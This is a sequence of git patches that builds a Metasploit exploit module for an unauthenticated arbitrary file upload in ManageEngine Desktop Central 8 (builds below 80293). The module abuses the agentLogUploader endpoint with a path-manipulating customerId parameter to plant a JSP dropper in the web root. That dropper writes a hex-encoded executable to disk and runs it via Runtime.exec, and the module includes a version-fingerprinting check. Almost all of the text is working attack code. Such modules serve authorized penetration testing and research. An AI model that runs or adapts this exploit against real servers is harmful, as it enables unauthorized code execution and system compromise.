From 960f7c9bbbc365b3306e6e63189310a566486ab2 Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Mon, 18 Nov 2013 16:11:28 +1300 Subject: [PATCH 01/10] Add DesktopCentral arbitrary file upload exploit. --- .../http/desktopcentral_file_upload.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100755 modules/exploits/windows/http/desktopcentral_file_upload.rb diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb new file mode 100755 index 0000000000..51dd6851e4 --- /dev/null +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -0,0 +1,152 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 build 80286 or below.. + A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. + }, + 'Author' => + [ + 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Desktop Central server / Windows', {} ], + + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'some point....')) + + register_options( + [ + Opt::RPORT(8020), Opt::RHOST() + ], self.class) + end + + def upload_file(filename, contents) + res = send_request_cgi( + { + 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), + 'method' => 'POST', + 'data' => contents, + 'ctype' => "text/html", + }) + + if res and res.code == 200 + return true + else + return false + end + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("agentLogUploader"), + 'method' => 'POST' + }) + + if res and res.code == 200 + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Uploading JSP to execute the payload") + + exe = payload.encoded_exe + exe_filename = rand_text_alpha_lower(8) + ".exe" + + # The JSP dropper is needed because there isn't directory traversal, just + # arbitrary file upload to a web path where JSP code execution is allowed. + dropper = jsp_drop_and_execute(exe, exe_filename) + dropper_filename = rand_text_alpha_lower(8) + ".jsp" + print_status("#{dropper_filename}") + + if upload_file(dropper_filename, dropper) + register_files_for_cleanup(exe_filename) + @dropper = dropper_filename + else + fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") + end + + print_status("#{@peer} - Executing payload") + send_request_cgi( + { + 'uri' => normalize_uri(dropper_filename), + 'method' => 'GET' + }) + end + + # This should probably go in a mixin + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|\n| + jspraw << %Q|<%\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) + end + end + From 07c76fd3e672124d25bcb71c57e8c139dbff23fc Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Wed, 20 Nov 2013 11:33:14 +1300 Subject: [PATCH 02/10] Module cleaned for msftidy compliance. --- .../http/desktopcentral_file_upload.rb | 114 ++++++++---------- 1 file changed, 52 insertions(+), 62 deletions(-) mode change 100755 => 100644 modules/exploits/windows/http/desktopcentral_file_upload.rb diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb old mode 100755 new mode 100644 index 51dd6851e4..2a231adde5 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,45 +9,42 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', - 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 build 80286 or below.. - A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. - }, - 'Author' => - [ - 'Thomas Hibbert' # thomas.hibbert@security-assessment.com - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => - [ - [ 'Desktop Central server / Windows', {} ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', + 'Description' => %q{ +This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293. +A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. + }, + 'Author' => + [ + 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + ], + 'License' => MSF_LICENSE, + 'References' => [ 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'], + 'Payload' => + { + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Desktop Central server / Windows', {} ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'some point....')) + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 11 2013')) - register_options( - [ + register_options( + [ Opt::RPORT(8020), Opt::RHOST() - ], self.class) - end - + ], self.class) + end + def upload_file(filename, contents) res = send_request_cgi( { @@ -58,48 +53,46 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => contents, 'ctype' => "text/html", }) - + if res and res.code == 200 return true else return false end end - + def check res = send_request_cgi({ 'uri' => normalize_uri("agentLogUploader"), 'method' => 'POST' }) - + if res and res.code == 200 return Exploit::CheckCode::Detected end - + return Exploit::CheckCode::Safe end - + def exploit @peer = "#{rhost}:#{rport}" - + print_status("#{@peer} - Uploading JSP to execute the payload") - + exe = payload.encoded_exe exe_filename = rand_text_alpha_lower(8) + ".exe" - - # The JSP dropper is needed because there isn't directory traversal, just - # arbitrary file upload to a web path where JSP code execution is allowed. + dropper = jsp_drop_and_execute(exe, exe_filename) dropper_filename = rand_text_alpha_lower(8) + ".jsp" - print_status("#{dropper_filename}") - + if upload_file(dropper_filename, dropper) register_files_for_cleanup(exe_filename) + register_files_for_cleanup(dropper_filename) @dropper = dropper_filename else fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") end - + print_status("#{@peer} - Executing payload") send_request_cgi( { @@ -107,17 +100,16 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) end - - # This should probably go in a mixin + def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| - + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| - + jspraw << %Q|int numbytes = data.length();\n| - + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| @@ -128,25 +120,23 @@ class Metasploit3 < Msf::Exploit::Remote jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| - + jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| - + jspraw end - + def jsp_execute_command(command) jspraw = %Q|\n| jspraw << %Q|<%\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| - + jspraw end - def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end - From 4cc20f163b232e6cac6d762874db79856d99155a Mon Sep 17 00:00:00 2001 From: Thomas Hibbert Date: Wed, 20 Nov 2013 13:01:21 +1300 Subject: [PATCH 03/10] Update References field to be compliant. --- .../exploits/windows/http/desktopcentral_file_upload.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 2a231adde5..76648311df 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -25,10 +25,8 @@ A malicious user can upload a JSP file into the web root without authentication, 'Thomas Hibbert' # thomas.hibbert@security-assessment.com ], 'License' => MSF_LICENSE, - 'References' => [ 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'], - 'Payload' => - { - }, + 'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf']], + 'Payload' => {}, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => @@ -56,7 +54,7 @@ A malicious user can upload a JSP file into the web root without authentication, if res and res.code == 200 return true - else + else return false end end From 4abf01c64c7e42852de32b8384b7a43e9c0960fc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Nov 2013 09:20:50 -0600 Subject: [PATCH 04/10] Clean indentation --- .../http/desktopcentral_file_upload.rb | 247 +++++++++--------- 1 file changed, 122 insertions(+), 125 deletions(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 76648311df..c1f81b5904 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -7,134 +7,131 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', - 'Description' => %q{ -This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293. -A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. - }, - 'Author' => - [ - 'Thomas Hibbert' # thomas.hibbert@security-assessment.com - ], - 'License' => MSF_LICENSE, - 'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf']], - 'Payload' => {}, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => - [ - [ 'Desktop Central server / Windows', {} ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293. + A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. + }, + 'Author' => + [ + 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] + ], + 'Payload' => {}, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Desktop Central server / Windows', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 11 2013' + )) - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 11 2013')) + register_options([Opt::RPORT(8020)], self.class) + end - register_options( - [ - Opt::RPORT(8020), Opt::RHOST() - ], self.class) - end + def upload_file(filename, contents) + res = send_request_cgi({ + 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), + 'method' => 'POST', + 'data' => contents, + 'ctype' => "text/html" + }) - def upload_file(filename, contents) - res = send_request_cgi( - { - 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), - 'method' => 'POST', - 'data' => contents, - 'ctype' => "text/html", - }) - - if res and res.code == 200 - return true - else - return false - end - end - - def check - res = send_request_cgi({ - 'uri' => normalize_uri("agentLogUploader"), - 'method' => 'POST' - }) - - if res and res.code == 200 - return Exploit::CheckCode::Detected - end - - return Exploit::CheckCode::Safe - end - - def exploit - @peer = "#{rhost}:#{rport}" - - print_status("#{@peer} - Uploading JSP to execute the payload") - - exe = payload.encoded_exe - exe_filename = rand_text_alpha_lower(8) + ".exe" - - dropper = jsp_drop_and_execute(exe, exe_filename) - dropper_filename = rand_text_alpha_lower(8) + ".jsp" - - if upload_file(dropper_filename, dropper) - register_files_for_cleanup(exe_filename) - register_files_for_cleanup(dropper_filename) - @dropper = dropper_filename - else - fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") - end - - print_status("#{@peer} - Executing payload") - send_request_cgi( - { - 'uri' => normalize_uri(dropper_filename), - 'method' => 'GET' - }) - end - - def jsp_drop_bin(bin_data, output_file) - jspraw = %Q|<%@ page import="java.io.*" %>\n| - jspraw << %Q|<%\n| - jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| - - jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| - - jspraw << %Q|int numbytes = data.length();\n| - - jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| - jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| - jspraw << %Q|{\n| - jspraw << %Q| char char1 = (char) data.charAt(counter);\n| - jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| - jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| - jspraw << %Q| comb <<= 4;\n| - jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| - jspraw << %Q| bytes[counter/2] = (byte)comb;\n| - jspraw << %Q|}\n| - - jspraw << %Q|outputstream.write(bytes);\n| - jspraw << %Q|outputstream.close();\n| - jspraw << %Q|%>\n| - - jspraw - end - - def jsp_execute_command(command) - jspraw = %Q|\n| - jspraw << %Q|<%\n| - jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| - jspraw << %Q|%>\n| - - jspraw - end - def jsp_drop_and_execute(bin_data, output_file) - jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) - end + if res and res.code == 200 + return true + else + return false end + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("agentLogUploader"), + 'method' => 'POST' + }) + + if res and res.code == 200 + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Uploading JSP to execute the payload") + + exe = payload.encoded_exe + exe_filename = rand_text_alpha_lower(8) + ".exe" + + dropper = jsp_drop_and_execute(exe, exe_filename) + dropper_filename = rand_text_alpha_lower(8) + ".jsp" + + if upload_file(dropper_filename, dropper) + register_files_for_cleanup(exe_filename) + register_files_for_cleanup(dropper_filename) + else + fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed") + end + + print_status("#{peer} - Executing payload") + send_request_cgi( + { + 'uri' => normalize_uri(dropper_filename), + 'method' => 'GET' + }) + end + + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|\n| + jspraw << %Q|<%\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) + end +end From 8fdfeb73db172bc2a55f7e4bd4b150778fd69513 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Nov 2013 09:01:41 -0600 Subject: [PATCH 05/10] Fix use of FileDropper and improve check method --- .../http/desktopcentral_file_upload.rb | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index c1f81b5904..079a9fd168 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -51,7 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => "text/html" }) - if res and res.code == 200 + if res and res.code == 200 and res.body.empty? + print_status(res.to_s) return true else return false @@ -59,6 +60,21 @@ class Metasploit3 < Msf::Exploit::Remote end def check + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + print_status("Manage Desktop Central 8 build #{build} found") + if build < "80294" + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + res = send_request_cgi({ 'uri' => normalize_uri("agentLogUploader"), 'method' => 'POST' @@ -82,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote if upload_file(dropper_filename, dropper) register_files_for_cleanup(exe_filename) - register_files_for_cleanup(dropper_filename) + register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}") else fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed") end From 8e4c5dbb5e1c306efc90f6c76ac191fa9342002d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Nov 2013 09:02:11 -0600 Subject: [PATCH 06/10] improve upload_file response check --- modules/exploits/windows/http/desktopcentral_file_upload.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 079a9fd168..e830918cbf 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -51,8 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => "text/html" }) - if res and res.code == 200 and res.body.empty? - print_status(res.to_s) + if res and res.code == 200 and res.body.to_s.empty? return true else return false From 4c2ad4ca9ab52e0bed691558eb30f6264c5a77af Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Nov 2013 09:06:47 -0600 Subject: [PATCH 07/10] Fix metadata --- .../exploits/windows/http/desktopcentral_file_upload.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index e830918cbf..47f636caae 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -17,12 +17,13 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293. - A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. + This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 + below build 80293. A malicious user can upload a JSP file into the web root without + authentication, leading to arbitrary code execution. }, 'Author' => [ - 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + 'Thomas Hibbert ' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => @@ -67,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ build = $1 print_status("Manage Desktop Central 8 build #{build} found") - if build < "80294" + if build < "80293" return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe From 6bd3c4c887dbdcffa17509ee398077b02129aacd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Nov 2013 09:07:25 -0600 Subject: [PATCH 08/10] Fix target name --- modules/exploits/windows/http/desktopcentral_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 47f636caae..b1163292ad 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Targets' => [ - [ 'Desktop Central server / Windows', {} ] + [ 'Manage Desktop Central 8 server / Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 11 2013' From 2ab3ab8b66c488fb4d65515d6d5beb662c346689 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Nov 2013 09:27:25 -0600 Subject: [PATCH 09/10] Delete empty Payload metadata section --- modules/exploits/windows/http/desktopcentral_file_upload.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index b1163292ad..7ab5126225 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -30,7 +30,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] ], - 'Payload' => {}, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => From 77aa665385c67871ebeb879597fbdffbee0f40f0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Nov 2013 09:28:28 -0600 Subject: [PATCH 10/10] Add Privileged flag --- modules/exploits/windows/http/desktopcentral_file_upload.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 7ab5126225..5dec0badca 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Manage Desktop Central 8 server / Windows', {} ] ], + 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 11 2013' ))